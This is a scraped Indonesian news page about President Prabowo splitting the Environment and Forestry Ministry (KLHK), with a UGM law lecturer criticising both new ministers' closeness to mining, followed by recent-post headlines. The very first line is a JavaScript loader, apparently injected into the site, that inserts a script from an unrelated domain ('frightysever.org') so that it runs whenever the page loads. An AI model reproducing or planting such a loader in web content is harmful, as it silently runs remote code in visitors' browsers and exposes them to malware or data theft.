(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KLHK Dipecah Dua, Ahli Hukum Lingkungan: Dua Sosok Itu Memiliki Kedekatan dengan Tambang


KANALKALIMANTAN.COM, JAKARTA – Dosen Hukum Lingkungan dan Pusat Studi Lingkungan Hidup (PSLH) Universitas Gadjah Mada (UGM) Wahyu Yun Santoso mengaku miris dengan keputusan Presiden Prabowo Subianto memecah Kementerian Lingkungan Hidup dan Kehutanan (KLHK).

Diketahui dalam Kabinet Merah Putih yang dibentuk Prabowo, dia menunjuk Raja Juli Antoni menjadi Menteri Kehutanan. Sedangkan Menteri Lingkungan Hidup/Kepala Badan Pengendalian Lingkungan Hidup diberikan kepada Hanif Faisol Nurofiq.

“Saya bisa mengatakan miris dengan pengumuman kementerian semalam, banyak hal-hal yang minor, yang kecil-kecil dibikin menteri,” kata Wahyu saat dihubungi SuaraJogja.id, Senin (21/10/2024).

Baca juga: Dilantik, Ini Target Menteri LH Hanif Dalam Penanganan Isu Lingkungan

Selain anggaran yang akan membengkak, ada pula kemudian masalah koordinasi antara struktur yang harus dilakukan. Belum lagi ditambah persoalan terkait Sumber Daya Manusia (SDM).

Wahyu turut menyoroti soal latar belakang kedua menteri pilihan Prabowo tersebut. Dia menilai dua sosok itu memiliki kedekatan dengan tambang yang kemudian dipertimbangkan oleh presiden terpilih.

“Dua-duanya track record enggak jelas, yang satu sudah dirjen, dia dari daerah bukan murni dari karir di kehutanan tapi kemudian kedekatan dengan tambang, sawit begitu mesra. Apalagi Menteri Kehutanan juga sama orang-orang tambang. Dan ESDM-nya membuat membuat kontroversi, jadi benar-benar mirisnya itu berkali lipat,” ungkapnya.

Baca juga: Bait Alam Lingkungan Perempuan Banua Anam dari Festival Puisi Wabul Sawi Loksado

Wahyu menyayangkan proses integrasi lingkungan hidup dan hutan yang sudah berjalan hampir 10 tahun justru kembali dipecah. Padahal, keharmonisan itu disebut sudah mulai muncul setidaknya pada periode kedua Presiden Jokowi.

Pada 2014-2015 saat mulai terjadi merger antara lingkungan hidup dan kehutanan itu, kata Wahyu, khususnya untuk penegakan hukum kebakaran hutan, penataan ruang mengenai alih fungsi hutan dan seterusnya itu menjadi lebih tertata. Hal itu tak terlepas dari pola pikir kementerian yang sudah lebih menyeluruh.

“Memang ada kontekstualitasi yang tidak terpisahkan kaitannya dengan ekonomi hijau dan perlindungan aspek lingkungan yang notabene sebagian besar ada di wilayah hutan,” ucapnya.

“Sehingga ketika integrasi dilakukan dengan menyatukan lingkungan hidup dan kehutanan itu memang salah satu opsi yang kalau kita bicarakan misalkan lebih jauh manfaat atau mudaratnya jelas lebih banyak manfaatnya,” imbuhnya. (Suara.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Pemkab Gelar Pisah Sambut Kapolres Banjar, AKBP Dr Fadli Gantikan AKBP Ifan Hariyat

KANALKALIMANTAN.COM, MARTAPURA - Pisah sambut Kapolres Banjar dari AKBP M Ifan Hariyat kepada AKBP Dr… Read More

45 menit ago

Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!

KANALKALIMANTAN.COM - Pemerintah kembali menghadirkan kebijakan pemutihan denda pajak sebagai langkah strategis untuk meningkatkan kepatuhan… Read More

2 jam ago

Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) punya 'pekerjaan rumah' berat… Read More

15 jam ago

Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum Juwita wartawati media online meminta Oditurat Militer (Odmil) III-15… Read More

17 jam ago

Buka Bimbingan Manasik Haji, Ini Pesan Bupati HSU ke Calon Jemaah Haji

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka bimbingan manasik haji bagi… Read More

19 jam ago

Dipastikan Dipecat, Sidang Jumran di Pengadilan Militer Secara Terbuka

KANALKALIMANTAN.COM, BANJARBARU - Tersangka Kelasi I Bahari Jumran dipastikan dipecat  sebagai anggota TNI Angkatan Laut… Read More

20 jam ago

This website uses cookies.